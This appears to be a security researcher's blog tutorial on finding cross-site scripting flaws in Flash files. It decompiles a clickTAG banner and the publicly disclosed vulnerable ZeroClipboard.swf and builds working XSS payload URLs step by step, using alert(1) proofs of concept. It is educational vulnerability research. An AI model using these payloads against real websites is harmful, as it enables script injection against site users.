Finding XSS vulnerabilities in flash files.

Over the years I found a lot of cross-site scripting vulnerabilities in flash files (recognizable by the .swf extension). Finding cross-site scripting vulnerabilities in flash files is some sort of a hobby for me because it almost always succeeds. It's pretty obvious that the awareness of cross-site scripting vulnerabilities is even lower than those of PHP developers.

To start, unfortunately you can't do "right mouse click, view-source" on a flash file but fortunately there are a couple of tools that can do it for you.

For example http://www.showmycode.com/. A large list of tools can be found here: http://bruce-lab.blogspot.nl/2010/08/freeswfdecompilers.html

To demonstrate how I analyze a flash file I'm going use the banner.swf file and the zeroclipboard.swf cross-site scripting for example of which the banner.swf is a commonly known mistake and the zeroclipboard.swf file is a known vulnerable flash file that has been made public in 2012 on Github (https://github.com/zeroclipboard/zeroclipboard/issues/14).

banner.swf
This vulnerability is pretty basic. When the clicktag function in Actionscript allows unfiltered user input it can used to inject javascript url's for example javascript:alert(1).

The getUrl function is used a lot and is often poorly filtered or not filtered at all.

An example of a vulnerable flash file decompiled via showmycode:

on (release) {  
   geturl (_root.clickTAG, "_self");
}

on (release) is a trigger that execute a code when the mouse is pressed and _root.clickTAG stands for the clickTAG parameter which is not escaped or what so ever and is therefor vulnerable for cross-site scripting attacks.

The vulnerability could be reproduced by going to the following these steps:

  1. Go to banner.swf?clickTAG=javascript:alert(1)
  2. A press on the page (anywhere in this case)

zeroclipboard.swf
Zeroclipboard is a library used to modify the users clipboard often used to provide a "copy to clipboard" functionality.

This vulnerability is a bit more complex than the banner.swf. Huge companies like coindesk and Yahoo were vulnerable for this vulnerability so for me it's pretty interesting to know where this issue originated from.

To start our search we need a vulnerable zeroclipboard file. A mirror of the vulnerable version can be downloaded here: http://github.com/cure53/Flashbang/raw/master/flash-files/files/ZeroClipboard.swf

I decompiled the source using showmycode:

package {  
    import flash.events.*;
    import flash.display.*;
    import flash.external.*;
    import flash.system.*;
    import flash.utils.*;

    public class ZeroClipboard extends Sprite {

        private var button:Sprite;
        private var id:String = "";
        private var clipText:String = "";

        public function ZeroClipboard(){
            super();
            stage.scaleMode = StageScaleMode.EXACT_FIT;
            Security.allowDomain("*");
            var flashvars:* = LoaderInfo(this.root.loaderInfo).parameters;
            id = flashvars.id;
            button = new Sprite();
            button.buttonMode = true;
            button.useHandCursor = true;
            button.graphics.beginFill(0xCCFF00);
            button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
            button.alpha = 0;
            addChild(button);
            button.addEventListener(MouseEvent.CLICK, clickHandler);
            button.addEventListener(MouseEvent.MOUSE_OVER, function (_arg1:Event){
                ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
            });
            button.addEventListener(MouseEvent.MOUSE_OUT, function (_arg1:Event){
                ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOut", null);
            });
            button.addEventListener(MouseEvent.MOUSE_DOWN, function (_arg1:Event){
                ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseDown", null);
            });
            button.addEventListener(MouseEvent.MOUSE_UP, function (_arg1:Event){
                ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseUp", null);
            });
            ExternalInterface.addCallback("setHandCursor", setHandCursor);
            ExternalInterface.addCallback("setText", setText);
            ExternalInterface.call("ZeroClipboard.dispatch", id, "load", null);
        }
        public function setHandCursor(_arg1:Boolean){
            button.useHandCursor = _arg1;
        }
        private function clickHandler(_arg1:Event):void{
            System.setClipboard(clipText);
            ExternalInterface.call("ZeroClipboard.dispatch", id, "complete", clipText);
        }
        public function setText(_arg1){
            clipText = _arg1;
        }

    }
}//package

The function we are searching for is ExternalInterface.call. This function is used to call JavaScript functions from flash files and it's unreliable. When unfiltered input is passed to this function it's possible to inject your own JavaScript.

A quick search for ExternalInterface.call returned:

ExternalInterface.call("ZeroClipboard.dispatch", id, "complete", clipText);  

What we have to do now is find out how this function get's triggered. The example I used sits within a function called clickHandler so I did a quick search for clickHandler and found that it
get's triggered when there is a click on a element named "button".

What is button? Well, button = new Sprite(); which is a class used for user interface components. Let's take a look at the part where the sprite is created:

button = new Sprite();  
button.buttonMode = true;  
button.useHandCursor = true;  
button.graphics.beginFill(0xCCFF00);  
button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));  
button.alpha = 0;  
addChild(button);  

By looking at this part you might already have noticed the 5th line.

button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));  

This part determines the width and height of the button sprite by using two variables. flashvars.width and flashvars.height. To find out where this parameters are set we don't have to look very far. By searching for flashvars it's pretty easy to find out that flashvars stands for LoaderInfo(this.root.loaderInfo).parameters; which is used to get the parameters from a request. So, to set the width and height from the button element we have to add two parameters to the zeroclipboard.swf file in the url.

Now, when the mouse is hovered over the button the function clickHandler will be called which triggers our vulnerable part of code that we want to reach.

/zeroclipboard.swf?width=1000&height=1000

Now we have to exploit the vulnerable part of code, let's get back to the vulnerable line:

ExternalInterface.call("ZeroClipboard.dispatch", id, "complete", clipText);  

The id variable actually is user input, you can see that by searching for the id variable. In the code you will find id = flashvars.id;

So, now we know that the variable id can be set by requesting the flash file with the parameter id (I almost could have guessed it..)

To turn this into a cross-site scripting we first have to know how ActionScript generates the JavaScript code for the ExterinalInterface.call

The code looks like this:

try { __flash__toXML(ZeroClipboard.dispatch("USER INPUT HERE","load",null)) ; } catch (e) { "<undefined/>"; }  

User input is located at "USER INPUT HERE" so there is where we should try to break out.

First we need to get out of the double quotes. We can't just do this by typing " because ActionScript does escape this input. Luckily it can be escaped by adding a backslash in front of it. So our payload needs to start with \". This will turn the generated JavaScript into:

try { __flash__toXML(ZeroClipboard.dispatch("\\"","load",null)) ; } catch (e) { "<undefined/>"; }  

All we have to do now is inject our own script and make sure that it's valid JavaScript.

First, let's add two forward slashes at the end of our payload. By adding two forward slashes at the end of our payload JavaScript will see everything behind it as a command

try { __flash__toXML(ZeroClipboard.dispatch("\\"//","load",null)) ; } catch (e) { "<undefined/>"; }  

Because we shopped of the end of the function it now looks like this:

try { __flash__toXML(ZeroClipboard.dispatch("\\"  

This is invalid JavaScript but we can fix that! Let's start by ending two the functions ZeroClipboard.dispatch and __flash__toXML

Our payload now looks like this: \"))// and the generated JavaScript looks like this:

try { __flash__toXML(ZeroClipboard.dispatch("\\"))  

Now we have to end the try statement, we do this by using } catch(e) {}

Our payload now looks like this: \"))} catch(e) {}// and the generated JavaScript looks like this:

try { __flash__toXML(ZeroClipboard.dispatch("\\"))} catch(e) {}  

This is perfectly valid JavaScript, all we have to do now is inject our payload. We can add the payload (for example, an alert) in the catch statement like this:
\"))} catch(e) {alert(1);}//

which makes the final url:

/zeroclipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
List of known vulnerable flash files

I started a public spreadsheet where everybody can contribute to make a list of vulnerable SWF files. You can contribute to the list here:
https://docs.google.com/spreadsheets/d/1zWc4Sf0pk_6lDVG0Lm-SjFbVVR8hY5X9WoKJNPhGWCs

The list

Flashbang

An awesome tool that can help you to find vulnerabilities in flash files is flashbang. It can be found here: https://cure53.de/flashbang. It's created by cure53 (obviously) and it's even open source on Github available here: https://github.com/cure53/Flashbang

Resources
  1. http://donncha.is/2013/06/coinbase-owning-a-bitcoin-exchange-bug-bounty-program/
  2. https://github.com/DBA/swf_file
  3. https://github.com/cure53/Flashbang
  4. https://github.com/zeroclipboard/zeroclipboard/issues/14
  5. http://bruce-lab.blogspot.nl/2010/08/freeswfdecompilers.html

smiegles

Read more posts by this author.

Subscribe to Olivier Beg

Get the latest posts delivered right to your inbox.

or subscribe via RSS with Feedly!